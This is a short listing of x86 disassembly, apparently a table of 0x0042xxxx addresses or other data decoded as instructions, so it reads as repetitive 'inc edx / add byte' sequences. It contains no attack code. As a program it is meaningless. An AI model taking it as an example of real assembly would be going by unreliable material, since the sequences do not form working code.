add byte [edx - 0x57], ah
inc edx
add byte [esi - 0x5a], bl
inc edx
add byte [edx - 0x2bffbd57], dl
test eax, 0xa75a0042
inc edx
add byte [esi - 0x59], dh
inc edx
add al, al
cmpsd dword [esi], dword es:[edi]
inc edx
add al, al
cmpsd dword [esi], dword es:[edi]
inc edx
add byte [esi], cl
test al, 0x42
add dl, bh
test al, 0x42
add byte [eax], ch
test al, 0x42
add dl, bh
test al, 0x42
add byte [edx], ah
test eax, 0xa8fa0042
inc edx
add bh, bh
lahf
inc edx
add ch, ah
lahf
inc edx
add byte [eax - 0x60], al
inc edx
add byte [eax - 0x60], al
inc edx
add byte [eax - 0x60], al
inc edx
add byte [ecx - 0x60], ah
inc edx
add byte [eax - 0x60], al
inc edx
add byte [esi - 0x5f], ah
inc edx
add byte [ebp - 0x6fffbd60], ah
mov al, byte [0xa0fe0042]
inc edx
add byte [esi], cl
mov byte [0xa1b00042], al
inc edx
add byte [eax - 0x4fffbd5f], dh
mov eax, dword [0xa1b00042]
inc edx
add byte [edx - 0xbffbd5f], dh
mov eax, dword [0xa1db0042]
inc edx
add al, dh
mov eax, dword [0xa1f00042]
inc edx
add ah, dh
mov eax, dword [0xa1f00042]
inc edx
add byte [esi], cl
mov byte [0xa1fb0042], al
inc edx
add byte [ebx], ah
mov byte [0xa2370042], al
inc edx
add byte [edi - 0x2bffbd5e], bh
mov byte [0xa3ad0042], al
inc edx
add ch, ah
lahf
inc edx
add byte [ecx + ebp*4], cl
inc edx
add ah, dl
test eax, 0xa64f0042
inc edx
add byte [esi - 0x5a], bl
inc edx
add byte [esp + ebp*4 + 0x42], ch
add byte [eax], ch
cmpsd dword [esi], dword es:[edi]
inc edx
add byte [edx - 0x53], dl
inc edx
add byte [edi + 0x10042ac], cl
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [eax - 0x53], dl
inc edx
add byte [eax - 0x53], dl
inc edx
add byte [eax - 0x53], dl
inc edx
add byte [eax - 0x53], dl
inc edx
add byte [edx - 0x53], dl
inc edx
add byte [eax - 0x53], bl
inc edx
add byte [eax - 0x53], ch
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ecx], bh
popfd
inc edx
add byte [ecx], al
add byte [eax], al
add byte [esi - 0x4c], ch
mov ah, 0x42
add byte [ecx + 0x740042b4], ch
mov ah, 0x42
add dl, ah
rol dword [edx], 0x53
mov dh, 0x42
add byte [eax - 0x4fffbd47], ah
mov ecx, 0xb9b00042
inc edx
add byte [edx - 0x4fffbd47], dh
mov ecx, 0xba490042
inc edx
add cl, bl
mov ecx, 0xba3a0042
inc edx
add byte [edi], cl
mov edx, 0xba3a0042
inc edx
add byte [esi - 0x45], al
inc edx
add byte [edi - 0x41], ah
inc edx
add bh, bh
mov esp, 0xbf670042
inc edx
add dl, ah
mov esp, 0xbcf00042
inc edx
add byte [ebx - 0x45], dl
inc edx
add byte [ecx], al
add byte [eax], al
add byte [ecx], al
add byte [eax], al
add byte [ebx - 0x45], dl
inc edx
add byte [ecx], al
add byte [eax], al
add byte [edx - 0x45], ch
inc edx
add byte [edi - 0x45], bh
inc edx
add byte [edi - 0x45], bh
inc edx
add byte [ebp - 0x6dffbd45], cl
mov esp, 0xbc9b0042
inc edx
add byte [edx - 0x39ffbd44], bh
mov esp, 0xba400042
inc edx
add byte [ecx - 0x46], cl
inc edx
add byte [ebx - 0x4a], bl
inc edx
add byte [edx - 0x4a], ch
inc edx
add byte [eax + 0x740042b4], dl
mov dh, 0x42
add byte [ecx - 0xfffbd47], dl
mov edx, 0xbaf60042
inc edx
add byte [eax - 0xfffbd4c], dl
rol dword [edx], 0xe8
rol dword [edx], 0xf0
rol dword [edx], 0xf6
rol dword [edx], 0x63
les eax, [edx]
jge 0x44d5ee
inc edx
add ch, ah
int 0x42
add dl, dl
int 0x42
add dl, dl
int 0x42
add bl, ah
int3